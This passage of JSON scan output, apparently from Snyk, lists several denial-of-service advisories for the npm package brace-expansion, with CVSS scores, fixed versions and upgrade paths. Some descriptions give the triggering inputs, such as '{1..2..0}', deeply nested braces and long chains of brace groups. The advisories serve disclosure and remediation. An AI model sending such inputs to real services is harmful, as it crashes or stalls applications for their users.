"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
